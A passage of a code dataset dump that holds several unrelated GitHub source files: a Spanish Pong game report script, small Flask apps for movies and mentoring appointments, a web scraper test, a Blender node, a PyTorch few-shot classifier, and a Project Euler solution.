print(\"----------------------------------------------------------------------------------------------------------------------------------\") \n print(\" TOTAL: \",total) \n op = input(\"presiones ENTER para volver al menu\")\n consola() \n \n\ndef informe_anual_objetos(nombre_jugador,año):\n #creo la matriz para crear el informe anual\n dias=[]#matriz a modificar con los datos segun el dia ,el mes y el año\n sub_total=[]\n for x in range (3):#creo la matriz donde voy a cargar las fechas\n meses=[]\n sub=0\n sub_total.append(sub)\n for k in range (12):\n meses.append(\"|\"+cont_con_long(4,\"\"))\n dias.append(meses)\n matriz =[]\n long = os.path.getsize(\"partida.txt\")\n archivo = open(\"partida.txt\", \"r\")\n pos = 0\n cont = True\n while cont ==True:\n pos +=1 \n archivo.seek(long-74*pos)\n linea = archivo.readline()\n lista = linea.split(\",\")\n ref_id = devolver_id_jugador(nombre_jugador)\n if borrar_car_exedente(lista[1]) == ref_id:\n matriz.append(lista)\n reg_anterior = int(borrar_car_exedente(lista[7]))\n continuar = borrar_car_exedente(lista[8])\n while int(continuar) >0:\n puntero = 74*(reg_anterior-1)\n archivo.seek(puntero)\n linea= archivo.readline()\n lista = linea.split(\",\")\n matriz.append(lista)\n reg_anterior = int(borrar_car_exedente(lista[7]))\n continuar = borrar_salto(borrar_car_exedente(lista[8]))\n if continuar == \"0\":\n archivo.seek(puntero)\n linea= archivo.readline()\n lista = linea.split(\",\")\n matriz.append(lista)\n cont = False\n archivo.close()\n\n fecha = []\n M_por_año = []\n for x in range (len(matriz)):#creo una matriz con la fecha de cada registro\n #para usarla de manera paralela\n f = borrar_car_exedente(matriz[x][2])\n date = f.split(\"/\")\n fecha.append([date[0],date[1],date[2][0:4]])\n #voy a generar la matriz solo con los elementos que conincidan en el año\n if str(fecha[x][2]) == str(año):\n M_por_año.append([fecha[x][0],fecha[x][1], borrar_car_exedente(matriz[x][6])])\n\n #sumo los puntos de los eventos el mismo dia:\n acum = int(M_por_año[0][2])\n for x in range (len(M_por_año)-1):\n sub_total[(int(M_por_año[x][0]))-1] += int(M_por_año[x][2])\n \n if M_por_año[x][0]==M_por_año[x+1][0]:\n acum += int(M_por_año[x+1][2])\n else:\n dias[(int(M_por_año[x][0]))-1][(int(M_por_año[x][1]))-1]=\"|\"+cont_con_long(4,str(acum))\n acum = int(M_por_año[x+1][2])\n if x==(len(M_por_año))-2:\n acum = acum-int(M_por_año[-1][2])\n dias[(int(M_por_año[-1][0]))-1][(int(M_por_año[-1][1]))-1]=\"|\"+cont_con_long(4,str(acum))\n \n #saco el total de todos los impactos\n total = 0\n for x in range(len(sub_total)):\n total += sub_total[x]\n\n limpiar() \n cont = 0\n print(f\"NOMBRE: {nombre_jugador} AÑO: {año}\")\n print(\"*MESES: 1 2 3 4 5 6 7 8 9 10 11 12 | sub_total\")\n print(\"----------------------------------------------------------------------------------------------------------------------\")\n print(\"*Dias: | | | | | | | | | | | | | \")\n print(\"----------------------------------------------------------------------------------------------------------------------\")\n for x in range(len(dias)):\n cont +=1\n print(f\" {cont_con_long(4,str(cont))}{dias[x]}| {cont_con_long(5,str(sub_total[x]))}\")\n\n print(\"----------------------------------------------------------------------------------------------------------------------------------\") \n print(\" TOTAL: \",total) \n op = input(\"presiones ENTER para volver al menu\")\n consola() \n\n\n\n\n \n\n \n#----------------consola-------------------------------\n\ndef consola():\n limpiar()\n try:\n print(\"\\nSeleccione el numero informe:\\n\")\n print(\"1) lista de jugadores\")\n print(\"2) ranking de partidas por jugador\")\n print(\"3) consulta por usuario y numero de partida\")\n print(\"4) consulta ranking de partidas\")\n print(\"5) informe de colisiones\")\n print(\"6) informe de anual de interaccion de los objetos\")\n\n op = int(input(\"\\nopcion: \"))\n \n if op ==1:#padron usuarios del jeugo\n limpiar()\n lista_usuarios()\n else:\n if op==2:#consulta por jugador\n limpiar()\n nombre = input(\"ingrese el nombre del jugador: \")\n verif = verificar_nom_jugador(nombre)\n print(nombre)\n if verif == True:\n limpiar()\n id = devolver_id_jugador(nombre)\n puntaje_jugador(nombre,id)\n else:\n print(\"EL JUGADOR NO EXISTE\")\n o = input(\"presione ENTER para regresar\")\n consola()\n else:\n if op == 3:#usuario y numero de partida\n limpiar()\n nom = input(\"Ingrese el nombre del jugador: \")\n part = int(input(\"ingrese el numero de partida: \"))\n ver = verificar_partida(nom, str(part))\n id = devolver_id_jugador(nom)\n if ver:\n informe_total_colisiones_partida(id,nom)\n else: \n if op ==4:\n rank_partidas()\n else:\n if op ==5:\n limpiar()\n nombre = input(\"ingrese el nombre del jugador: \")\n partida = input(\"ingrese el numero de partida: \")\n verpart = verificar_partida(str(nombre),str(partida))\n if verpart == True:\n id = devolver_id_jugador(nombre)\n informe_colisiones(partida, id)\n else:\n print(\"el jugador no existe\")\n o = input(\"presione ENETER para volver al menu\")\n consola()\n else:\n if op == 6:\n limpiar()\n n = input(\"ingrese el nombre del jugador: \")\n año = input(\"ingrese el año solicitado: \")\n informe_anual(n,año)\n else: \n if op <1 or op>6:\n limpiar()\n print(\"ERROR opcion no valida\")\n o = input(\"presione ENTER para volver al menu\")\n consola()\n except:\n limpiar()\n print(\"ERROR PRESTA ATENCION\")\n o = input(\"presione ENTER para volver al menu\")\n consola()\n\n#-------------------ejecucion-------------------------\n\nconsola()\n\n","repo_name":"nucleomis/Archivos_Python","sub_path":"juego pong/informes.py","file_name":"informes.py","file_ext":"py","file_size_in_byte":20457,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"11126226063","text":"import re\nfrom flask import Flask, jsonify, render_template, request, redirect, url_for\nimport requests\nimport os\nfrom flask_sqlalchemy import SQLAlchemy\nfrom flask_marshmallow import Marshmallow\nimport json\n\n\nproj_dir = os.path.dirname(os.path.abspath(__file__))\ndatabase_file = \"sqlite:///{}\".format(os.path.join(proj_dir, 'mydatabase.db'))\napp = Flask(__name__)\napp.config['SQLALCHEMY_DATABASE_URI'] = database_file\ndb = SQLAlchemy(app)\nma = Marshmallow(app)\n\n\nclass Movies(db.Model):\n __tablename__ = 'movies'\n id = db.Column(db.Integer, primary_key=True, unique=True)\n name = db.Column(db.String(100))\n desc = db.Column(db.String(100))\n rating = db.Column(db.Float)\n\n\nclass MoviesSchema(ma.SQLAlchemyAutoSchema):\n class Meta:\n model = Movies\n\n\n@app.route('/movieList')\ndef movieList():\n resp = requests.get('http://localhost:80/movies/')\n return render_template('index.html', resp=json.loads(resp.text))\n\n\n@app.route('/movie/')\ndef movie(id):\n resp = requests.get('http://localhost:80/movies/{}'.format(id))\n return render_template('singledetail.html', resp=json.loads(resp.text))\n\n\n@app.route('/addmovie')\ndef addmovie():\n return render_template('addmovie.html')\n\n\n@app.route('/submit', methods=['POST'])\ndef submit():\n name = request.form['name']\n desc = request.form['desc']\n rating = request.form['rating']\n\n data = {\n 'name': name,\n 'desc': desc,\n 'rating': rating\n }\n\n resp = requests.post('http://localhost:80/addmovie',\n data=json.dumps(data), headers={'Content-Type': 'application/json',\n 'Connection': 'keep-alive'})\n return redirect(url_for('movieList'))\n\n\n@app.route('/deletemovie/')\ndef deletemovie(movie_id):\n\n resp = requests.delete(\n 'http://localhost:80/deletemovie/{}'.format(movie_id))\n\n return resp.text\n\n\nif __name__ == \"__main__\":\n app.run(debug=True)\n","repo_name":"abhijitmorye/FlaskProject","sub_path":"FlaskRestAPIPractice/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1979,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"44441878819","text":"# 本地页面解析测试\n# 需要在main.py中去掉保存文件的注释\nimport re\nimport requests\nimport time\nimport datetime\nfrom bs4 import BeautifulSoup\nimport os\nimport logging\n\n\ndef analyze(div_row, timesleep=1):\n for line in div_row:\n content = line.select_one('.z-feed-content')\n # errorlog.html使用\n # content = line\n # 商品名字\n temp_name = content.select_one('div h5')\n print('商品名字:', temp_name.a.get_text().strip())\n # 商品地址\n temp_url = temp_name.a['href']\n print('详细描述:', temp_url)\n # 商品图片url\n temp_img = line.select_one('.z-feed-img').select_one('img')['src']\n print('缩略图地址:', temp_img)\n # 商品id\n item_id = re.match(r\".*/(\\d+)/\", temp_url).group(1)\n print('商品id:', item_id)\n # 商品值不值得买\n # zhi = int(content.select_one('.icon-zhi-o-thin').next_sibling.string)\n # buzhi = int(content.select_one('.icon-buzhi-o-thin').next_sibling.string)\n zhi = int(content.select_one('.z-icon-zhi').next_element.next_element.string)\n buzhi = int(content.select_one('.z-icon-buzhi').next_element.next_element.string)\n print(\"值↑\",zhi,\"不值↑\",buzhi)\n # 商品更新日期\n temp_time = content.select_one('.feed-block-extras').next_element.strip()\n try:\n temp_time = time.strptime(temp_time,'%H:%M')\n now = datetime.datetime.now()\n temp_time = datetime.datetime(now.year, now.month, now.day,\n temp_time.tm_hour, temp_time.tm_min)\n except:\n temp_time = time.strptime(temp_time,'%m-%d %H:%M')\n now = datetime.datetime.now()\n temp_time = datetime.datetime(now.year, temp_time.tm_mon,\n temp_time.tm_mday, temp_time.tm_hour,\n temp_time.tm_min)\n # temp_time = datetime.datetime.fromtimestamp(int(line['timesort']))\n print('更新日期:', temp_time)\n # 商品价格\n temp_price = content.select_one('.z-highlight') \n try:\n print('价格:', temp_price.get_text().strip())\n except:\n print('本段出现错误:', temp_price)\n print(\"-\"*40)\n\n# with open('saved.html', 'rb') as f:\n# soup = BeautifulSoup(f, \"html5lib\")\n# div_row = soup.select('.feed-row-wide')\n# analyze(div_row)\n\n# with open('errorlog.html', 'rb') as f:\n# soup = BeautifulSoup(f, \"html5lib\")\n# div_content = soup.select('.z-feed-content')\n# analyze(div_content)\n\nlogger = logging.getLogger(os.path.basename(__file__))\nprint(logger)\npath = os.path.join(os.path.dirname(__file__), 'log.txt')\nwith open(path, 'r') as f:\n print(f.read())","repo_name":"screamff/smzdm-spider","sub_path":"extra/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":2812,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"54"} +{"seq_id":"37777153650","text":"from itertools import zip_longest\n\nimport bpy\n\nfrom sverchok.node_tree import SverchCustomTreeNode\nfrom sverchok.data_structure import updateNode\nfrom sverchok.utils.geom_2d.make_monotone import monotone_sv_face_with_holes\nfrom sverchok.utils.nodes_mixins.sockets_config import ModifierNode\n\n\nclass SvMakeMonotone(ModifierNode, SverchCustomTreeNode, bpy.types.Node):\n \"\"\"\n Triggers: Split face into monotone pieces\n Can spilt face with holes\n One object - one polygon\n \"\"\"\n bl_idname = 'SvMakeMonotone'\n bl_label = 'Make Monotone'\n bl_icon = 'MOD_MESHDEFORM'\n\n accuracy: bpy.props.IntProperty(name='Accuracy', description='Some errors of the node '\n 'can be fixed by changing this value',\n update=updateNode, default=5, min=3, max=12)\n\n def sv_init(self, context):\n self.inputs.new('SvVerticesSocket', 'Polygon')\n self.inputs.new('SvVerticesSocket', 'Hole vectors')\n self.inputs.new('SvStringsSocket', 'Hole polygons')\n self.outputs.new('SvVerticesSocket', 'Vertices')\n self.outputs.new('SvStringsSocket', 'Polygons')\n\n @property\n def sv_internal_links(self):\n return [(self.inputs[0], self.outputs[0])]\n\n def draw_buttons_ext(self, context, layout):\n layout.prop(self, 'accuracy')\n\n def process(self):\n verts = self.inputs['Polygon'].sv_get()\n mesh = []\n if self.inputs['Hole vectors'].is_linked and self.inputs['Hole polygons'].is_linked:\n hole_v = self.inputs['Hole vectors'].sv_get()\n hole_f = self.inputs['Hole polygons'].sv_get()\n for vs, hvs, hfs in zip_longest(verts, hole_v, hole_f, fillvalue=None):\n mesh.append(monotone_sv_face_with_holes(vs, hvs, hfs, self.accuracy))\n else:\n for vs in verts:\n mesh.append(monotone_sv_face_with_holes(vs, accuracy=self.accuracy))\n if mesh:\n v, f = zip(*mesh)\n self.outputs['Vertices'].sv_set(v)\n self.outputs['Polygons'].sv_set(f)\n\n\ndef register():\n bpy.utils.register_class(SvMakeMonotone)\n\n\ndef unregister():\n bpy.utils.unregister_class(SvMakeMonotone)\n","repo_name":"nortikin/sverchok","sub_path":"nodes/modifier_change/make_monotone.py","file_name":"make_monotone.py","file_ext":"py","file_size_in_byte":2239,"program_lang":"python","lang":"en","doc_type":"code","stars":2098,"dataset":"github-code","pt":"54"} +{"seq_id":"13219250507","text":"from datetime import datetime\nfrom flask import Blueprint, request\nfrom api.models import AppointmentRequest, Availability, MentorProfile, MenteeProfile\nfrom api.core import create_response, logger\nfrom api.utils.request_utils import (\n ApppointmentForm,\n is_invalid_form,\n send_email,\n send_sms,\n)\nfrom api.utils.constants import (\n MENTOR_APPT_TEMPLATE,\n MENTEE_APPT_TEMPLATE,\n SEND_INVITE_TEMPLATE,\n APPT_TIME_FORMAT,\n Account,\n APPT_STATUS,\n TRANSLATIONS,\n)\nfrom api.utils.require_auth import admin_only, all_users, mentor_only\n\nappointment = Blueprint(\"appointment\", __name__)\n\n# GET request for appointments by account id\n\n\n@appointment.route(\"//\", methods=[\"GET\"])\n@all_users\ndef get_requests_by_id(account_type, id):\n account = None\n try:\n if account_type == Account.MENTOR:\n account = MentorProfile.objects.get(id=id)\n elif account_type == Account.MENTEE:\n account = MenteeProfile.objects.get(id=id)\n except:\n msg = \"No account found with that id\"\n logger.info(msg)\n return create_response(status=422, message=msg)\n\n # Update appointment requests that don't have a mentee id\n if account_type == Account.MENTEE:\n by_email = AppointmentRequest.objects(email=account.email).filter(\n mentee_id__not__exists=True\n )\n for appointment in by_email:\n appointment.mentee_id = id\n appointment.save()\n elif account_type == Account.MENTOR:\n not_verified = AppointmentRequest.objects(mentor_id=id).filter(\n mentee_id__not__exists=True\n )\n for appointment in not_verified:\n try:\n mentee = MenteeProfile.objects.get(email=appointment.email)\n except:\n msg = \"Could not find Mentee with that email\"\n logger.info(msg)\n continue\n appointment.mentee_id = mentee.id\n appointment.save()\n\n # Update appointment requests that don't have a mentor_name\n if account_type == Account.MENTEE:\n missing_name = AppointmentRequest.objects(mentee_id=id).filter(\n mentor_name__not__exists=True\n )\n for appointment in missing_name:\n try:\n mentor = MentorProfile.objects.get(id=appointment.mentor_id)\n except:\n msg = f\"Could not find mentor with given id\"\n logger.info(msg)\n continue\n appointment.mentor_name = mentor.name\n appointment.save()\n\n # Fetch appointments by respective mentee/mentor id\n res = None\n if account_type == Account.MENTEE:\n res = AppointmentRequest.objects(mentee_id=id)\n elif account_type == Account.MENTOR:\n res = AppointmentRequest.objects(mentor_id=id)\n\n # Includes mentor name because appointments page does not fetch all mentor info\n return create_response(data={\"name\": account.name, \"requests\": res})\n\n\n# POST request for Mentee Appointment\n@appointment.route(\"/send_invite_email\", methods=[\"POST\"])\n@all_users\ndef send_invite_email():\n data = request.get_json()\n mentee_id = data.get(\"recipient_id\")\n mentor_id = data.get(\"sener_id\")\n availabes_in_future = data.get(\"availabes_in_future\")\n try:\n mentee = MenteeProfile.objects.get(id=mentee_id)\n mentor = MentorProfile.objects.get(id=mentor_id)\n except:\n msg = \"No mentee found with that id\"\n logger.info(msg)\n return create_response(status=422, message=msg)\n avail_htmls = []\n for avail_item in availabes_in_future:\n start_date_object = datetime.strptime(\n avail_item[\"start_time\"][\"$date\"], \"%Y-%m-%dT%H:%M:%S%z\"\n )\n end_date_object = datetime.strptime(\n avail_item[\"end_time\"][\"$date\"], \"%Y-%m-%dT%H:%M:%S%z\"\n )\n start_time = start_date_object.strftime(\"%m-%d-%Y %I:%M%p %Z\")\n end_time = end_date_object.strftime(\"%I:%M%p %Z\")\n avail_htmls.append(start_time + \" ~ \" + end_time)\n\n if len(avail_htmls) > 0 and mentee.email_notifications:\n res, res_msg = (\n send_email(\n recipient=mentee.email,\n template_id=SEND_INVITE_TEMPLATE,\n data={\n \"future_availability\": avail_htmls,\n \"name\": mentor.name,\n mentee.preferred_language: True,\n \"subject\": TRANSLATIONS[mentee.preferred_language][\"send_invite\"],\n },\n ),\n )\n if not res:\n msg = \"Failed to send mentee email \" + res_msg\n logger.info(msg)\n\n return create_response(status=200, message=\"send mail successfully\")\n\n\n# POST request for Mentee Appointment\n@appointment.route(\"/\", methods=[\"POST\"])\n@all_users\ndef create_appointment():\n data = request.get_json()\n validate_data = ApppointmentForm.from_json(data)\n msg, is_invalid = is_invalid_form(validate_data)\n if is_invalid:\n return create_response(status=422, message=msg)\n\n # Gets mentor's and mentee's email and sends a notification to them about the appointment\n try:\n mentor = MentorProfile.objects.get(id=data.get(\"mentor_id\"))\n except:\n msg = \"No mentor found with that id\"\n logger.info(msg)\n return create_response(status=422, message=msg)\n\n try:\n mentee = MenteeProfile.objects.get(id=data.get(\"mentee_id\"))\n except:\n msg = \"No mentee found with that id\"\n logger.info(msg)\n return create_response(status=422, message=msg)\n\n new_appointment = AppointmentRequest(\n mentor_id=data.get(\"mentor_id\"),\n mentee_id=data.get(\"mentee_id\"),\n name=mentee.name,\n mentor_name=mentor.name,\n status=data.get(\"status\"),\n topic=data.get(\"topic\"),\n message=data.get(\"message\"),\n allow_texts=data.get(\"allow_texts\"),\n allow_calls=data.get(\"allow_calls\"),\n )\n\n time_data = data.get(\"timeslot\")\n new_appointment.timeslot = Availability(\n start_time=time_data.get(\"start_time\"), end_time=time_data.get(\"end_time\")\n )\n\n date_object = datetime.strptime(time_data.get(\"start_time\"), \"%Y-%m-%dT%H:%M:%S%z\")\n start_time = date_object.strftime(APPT_TIME_FORMAT + \" %Z\")\n\n if mentee.email_notifications:\n res, res_msg = send_email(\n recipient=mentee.email,\n template_id=MENTEE_APPT_TEMPLATE,\n data={\n \"confirmation\": True,\n \"name\": mentor.name,\n \"date\": start_time,\n mentee.preferred_language: True,\n \"subject\": TRANSLATIONS[mentee.preferred_language][\"mentee_appt\"],\n },\n )\n if not res:\n msg = \"Failed to send mentee email \" + res_msg\n logger.info(msg)\n\n if mentor.email_notifications:\n res, res_msg = send_email(\n recipient=mentor.email,\n template_id=MENTOR_APPT_TEMPLATE,\n data={\n \"name\": mentee.name,\n \"date\": start_time,\n mentor.preferred_language: True,\n \"subject\": TRANSLATIONS[mentee.preferred_language][\"mentor_appt\"],\n },\n )\n\n if not res:\n msg = \"Failed to send an email \" + res_msg\n logger.info(msg)\n\n if mentor.text_notifications:\n res, res_msg = send_sms(\n text=\"You received a new appointment request!\\nCheckout https://app.menteeglobal.org/\",\n recipient=mentor.phone_number,\n )\n\n if not res:\n msg = \"Failed to send message \" + res_msg\n logger.info(msg)\n\n new_appointment.save()\n\n return create_response(\n message=f\"Successfully created appointment with MentorID: {new_appointment.mentor_id} as MenteeID: {new_appointment.mentee_id}\"\n )\n\n\n@appointment.route(\"/accept/\", methods=[\"PUT\"])\n@mentor_only\ndef put_appointment(id):\n try:\n appointment = AppointmentRequest.objects.get(id=id)\n mentor = MentorProfile.objects.get(id=appointment.mentor_id)\n mentee = MenteeProfile.objects.get(id=appointment.mentee_id)\n except:\n msg = \"No appointment or account found with that id\"\n logger.info(msg)\n return create_response(status=422, message=msg)\n\n appointment.status = APPT_STATUS[\"ACCEPTED\"]\n\n for timeslot in mentor.availability:\n if timeslot == appointment.timeslot:\n mentor.availability.remove(timeslot)\n break\n\n if mentee.email_notifications:\n start_time = appointment.timeslot.start_time.strftime(APPT_TIME_FORMAT + \" GMT\")\n res_email = send_email(\n recipient=mentee.email,\n data={\n \"name\": mentor.name,\n \"date\": start_time,\n \"approved\": True,\n mentee.preferred_language: True,\n \"subject\": TRANSLATIONS[mentee.preferred_language][\"mentee_appt\"],\n },\n template_id=MENTEE_APPT_TEMPLATE,\n )\n if not res_email:\n logger.info(\"Failed to send email\")\n\n mentor.save()\n appointment.save()\n\n return create_response(status=200, message=f\"Success\")\n\n\n# DELETE request for appointment by appointment id\n@appointment.route(\"/\", methods=[\"DELETE\"])\n@mentor_only\ndef delete_request(appointment_id):\n try:\n request = AppointmentRequest.objects.get(id=appointment_id)\n mentor = MentorProfile.objects.get(id=request.mentor_id)\n mentee = MenteeProfile.objects.get(id=request.mentee_id)\n except:\n msg = \"No appointment or account found with that id\"\n logger.info(msg)\n return create_response(status=422, message=msg)\n\n if mentee.email_notifications:\n start_time = request.timeslot.start_time.strftime(f\"{APPT_TIME_FORMAT} GMT\")\n res_email = send_email(\n recipient=mentee.email,\n data={\n \"name\": mentor.name,\n \"date\": start_time,\n \"approved\": False,\n mentee.preferred_language: True,\n \"subject\": TRANSLATIONS[mentee.preferred_language][\"mentee_appt\"],\n },\n template_id=MENTEE_APPT_TEMPLATE,\n )\n if not res_email:\n logger.info(\"Failed to send email\")\n\n request.status = APPT_STATUS[\"DENIED\"]\n request.save()\n return create_response(status=200, message=f\"Success\")\n\n\n# GET all appointments per mentor\n@appointment.route(\"/mentors\", methods=[\"GET\"])\n@admin_only\ndef get_mentors_appointments():\n mentors = MentorProfile.objects()\n appointments = AppointmentRequest.objects()\n\n data = []\n for mentor in mentors:\n mentor_appts = [\n appointment\n for appointment in appointments\n if appointment.mentor_id == mentor.id\n ]\n data.append(\n {\n \"name\": mentor.name,\n \"id\": str(mentor.id),\n \"appointments\": mentor_appts,\n \"numOfAppointments\": len(mentor_appts),\n \"appointmentsAvailable\": \"Yes\"\n if [\n avail\n for avail in mentor.availability\n if avail.end_time > datetime.now()\n ]\n else \"No\",\n \"profilePicUp\": \"Yes\" if mentor.image else \"No\",\n \"videosUp\": \"Yes\" if mentor.videos else \"No\",\n }\n )\n\n return create_response(data={\"mentorData\": data}, status=200, message=\"Success\")\n\n\n# GET all appointments per mentor\n@appointment.route(\"/mentees\", methods=[\"GET\"])\n@admin_only\ndef get_mentees_appointments():\n mentees = MenteeProfile.objects()\n data = []\n for mentee in mentees:\n mentee_appts = AppointmentRequest.objects(mentee_id=mentee.id)\n mentee = mentee.to_mongo()\n mentee[\"id\"] = str(mentee.pop(\"_id\", None))\n data.append(\n {\n **mentee,\n \"numOfAppointments\": len(mentee_appts),\n }\n )\n\n return create_response(data={\"menteeData\": data}, status=200, message=\"Success\")\n\n\n@appointment.route(\"/\", methods=[\"GET\"])\n@admin_only\ndef get_appointments():\n appointments = AppointmentRequest.objects()\n mentors = MentorProfile.objects().only(\"name\", \"id\")\n\n # TODO: Fix this.. It is too slow :(((\n mentor_by_id = {}\n\n for mentor in mentors:\n mentor_by_id[mentor[\"id\"]] = mentor.name\n\n res_appts = []\n for item in appointments:\n current_id = item.mentor_id\n res_appts.append(\n {\n \"mentor\": mentor_by_id.get(current_id, \"Deleted Account\"),\n \"appointment\": item,\n }\n )\n\n return create_response(\n data={\"appointments\": res_appts}, status=200, message=\"Success\"\n )\n","repo_name":"hack4impact-uiuc/mentee","sub_path":"backend/api/views/appointment.py","file_name":"appointment.py","file_ext":"py","file_size_in_byte":12890,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"54"} +{"seq_id":"29302367701","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom termcolor import colored\nfrom code.classifier.base import BASE\nfrom functools import reduce\n\nfrom torchcrf import CRF\n\n\nclass PROTOseq(BASE):\n '''\n Sequential Prototypical Networks : classifier\n Get as input the output of prior CNN-BiLSTM encoder to complete the ProtoSeq\n Inherits the BASE model\n '''\n def __init__(self, ebd_dim, args):\n super(PROTOseq, self).__init__(args)\n self.ebd_dim = ebd_dim\n\n self.mlp = self._init_mlp(\n self.ebd_dim, self.args.proto_hidden, self.args.dropout)\n\n if self.args.crf: \n self.crf = CRF(self.args.way, batch_first=True)\n\n # Init the output file to append additional info (if args.out)\n self._init_outputfile(args.suffix_output)\n \n def _compute_prototype_seq(self, XS, YS):\n '''\n Compute the prototype for each class by averaging over the ebd.\n\n @param XS (support x): support_size x ebd_dim\n @param YS (support y): support_size\n\n @return prototype: way x ebd_dim\n '''\n\n size0 = reduce( lambda x, y: x*y, list(XS.size())[:-1])\n XS = XS.view(size0, XS.size(-1))\n YS = YS.view(-1)\n\n # Sort YS to make sure classes of the same labels are clustered together\n sorted_YS, indices = torch.sort(YS)\n sorted_XS = XS[indices]\n \n output, inverse_indices = torch.unique(sorted_YS, sorted=True, return_inverse=True)\n\n prototype = []\n for y in output:\n indices = (sorted_YS == y).nonzero(as_tuple=True)[0]\n prototype.append( torch.mean(sorted_XS[indices], dim=0, keepdim=True) )\n\n prototype = torch.cat(prototype, dim=0)\n assert prototype.size(0) == self.args.way\n return prototype\n \n def _compute_l2_seq(self, XS, XQ):\n '''\n Compute the pairwise l2 distance for the sequence\n @param XS (support x): support_size x ebd_dim\n @param XQ (support x): query_size x ebd_dim\n\n @return dist: query_size x support_size\n '''\n \n batch_elements = []\n\n for batch in XQ:\n diff = XS.unsqueeze(0) - batch.unsqueeze(1)\n dist = torch.norm(diff, dim=2)\n batch_elements.append( dist )\n\n dist = torch.stack(batch_elements, dim=0)\n\n return dist\n\n def forward(self, XS, YS, XQ, YQ, out=False, XS_ids=None, XQ_ids=None):\n '''\n @param XS (support x): support_size x ebd_dim\n @param YS (support y): support_size\n @param XQ (support x): query_size x ebd_dim\n @param YQ (support y): query_size\n\n @return acc\n @return loss\n '''\n\n if self.mlp is not None:\n XS = self.mlp(XS.float())\n XQ = self.mlp(XQ.float())\n\n try: YS, YQ = self.reidx_y(YS, YQ)\n except: \n unique1, inv_S = torch.unique(YS, sorted=True, return_inverse=True)\n unique2, inv_Q = torch.unique(YQ, sorted=True, return_inverse=True)\n\n device = XS.device\n\n prototype = self._compute_prototype_seq(XS, YS)\n \n pred = -self._compute_l2_seq(prototype, XQ)\n \n if self.args.crf:\n ## the CRF way to compute message labels by maximizing the labels predicted by class prototypes\n # emission scores are relative l2 distances\n loss = -self.crf(pred, YQ)\n\n pred = torch.tensor(self.crf.decode(pred)).view(-1)\n YQ = YQ.view(-1)\n\n acc = BASE.compute_acc(pred.to(device), YQ, nomax=True)\n\n # Weighted F1 and micro f1 ignore neutral class, following related work on DailyDialog\n f1 = BASE.compute_f1(pred, YQ, nomax=True, labels=self.args['labels'])\n\n micro_f1_noneutral = BASE.compute_f1_micro_noneutral(pred, YQ, labels=self.args['labels'], nomax=True)\n\n mcc = BASE.compute_mcc(pred, YQ, nomax=True)\n\n # To save some inside information (only during test)\n if out: \n self._append_output(YQ, pred, XQ_ids, prototype, XQ) \n \n else:\n ## The easy way: compute scores on messages' labels predicted by class prototypes\n pred, YQ = pred.view(-1, pred.size(-1)), YQ.view(-1) \n\n # Apply weights in order to minimize majority classe from the loss (i.e. the neutral one -- ~80% of labels --)\n if self.args.targetdata == 'dailydialog': \n weights = [0.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0]\n class_weights = torch.FloatTensor(weights).to(device)\n else: class_weights = None\n\n loss = F.cross_entropy(pred, YQ, weight=class_weights)\n\n acc = BASE.compute_acc(pred, YQ)\n\n f1 = BASE.compute_f1(pred, YQ, labels=self.args['labels'])\n\n micro_f1_noneutral = BASE.compute_f1_micro_noneutral(pred, YQ, labels=self.args['labels'])\n\n mcc = BASE.compute_mcc(pred, YQ) \n\n # To save some inside information (only during test)\n if out: \n self._append_output(YQ, pred, XQ_ids, prototype, XQ)\n\n return acc, loss, f1, mcc, micro_f1_noneutral\n","repo_name":"gguibon/ProtoSeq","sub_path":"code/classifier/proto_seq.py","file_name":"proto_seq.py","file_ext":"py","file_size_in_byte":5258,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"54"} +{"seq_id":"35541777100","text":"\"\"\"\nruntime: 8.606910705566406e-05 seconds\n\nIn the problem description, they warned that this could easily be naively brute\nforced, but down the road there would be the same problem with a much larger\nset. So I attempted a dynamic solution where I traverse the tree top down, and\ncalculate the longest path for each cell in that row by looking at the greater\nof cell's parents. This populates the tree in a single pass, and then you just\nfind the max of the last row to find the greatest path. Reminds me of shortest\npath algorithms.\n\nI'm not sure if it will be sufficient for the longer problem, we'll see.\n\"\"\"\n\nimport time\n\ninit = []\ninit.append('75 ')\ninit.append('95 64 ')\ninit.append('17 47 82 ')\ninit.append('18 35 87 10 ')\ninit.append('20 04 82 47 65 ')\ninit.append('19 01 23 75 03 34 ')\ninit.append('88 02 77 73 07 63 67 ')\ninit.append('99 65 04 28 06 16 70 92 ')\ninit.append('41 41 26 56 83 40 80 70 33 ')\ninit.append('41 48 72 33 47 32 37 16 94 29 ')\ninit.append('53 71 44 65 25 43 91 52 97 51 14 ')\ninit.append('70 11 33 28 77 73 17 78 39 68 17 57 ')\ninit.append('91 71 52 38 17 14 91 43 58 50 27 29 48 ')\ninit.append('63 66 04 68 89 53 67 30 73 16 69 87 40 31 ')\ninit.append('04 62 98 27 23 09 70 98 73 93 38 53 60 04 23')\n\nn = len(init)\n\na = []\nb = []\nfor string in init:\n a_row = []\n b_row = []\n for num in string.split():\n a_row.append(int(num))\n b_row.append(0)\n a.append(a_row)\n b.append(b_row)\n\nstart = time.time()\n\nfor row in range(0,n):\n for col in range(0,len(a[row])):\n if row == 0 and col == 0: \n b[row][col] = a[row][col]\n elif col == 0: \n b[row][col] = a[row][col] + b[row-1][col]\n elif col == len(a[row])-1: \n b[row][col] = a[row][col] + b[row-1][col-1]\n else:\n if b[row-1][col] > b[row-1][col-1]:\n b[row][col] = a[row][col] + b[row-1][col]\n else:\n b[row][col] = a[row][col] + b[row-1][col-1]\n\nresult = max(b[n-1])\n\nend = time.time()\nprint('result:', result)\nprint(' time:', end-start, 'seconds')\n","repo_name":"atheri/project-euler","sub_path":"018.py","file_name":"018.py","file_ext":"py","file_size_in_byte":2370,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"34429911268","text":"from oarepo_model_builder.datatypes.components import RecordModelComponent\nfrom oarepo_model_builder.datatypes.components.model.utils import set_default\nfrom oarepo_model_builder.utils.python_name import base_name\nfrom oarepo_model_builder_files.datatypes import FileDataType\nfrom 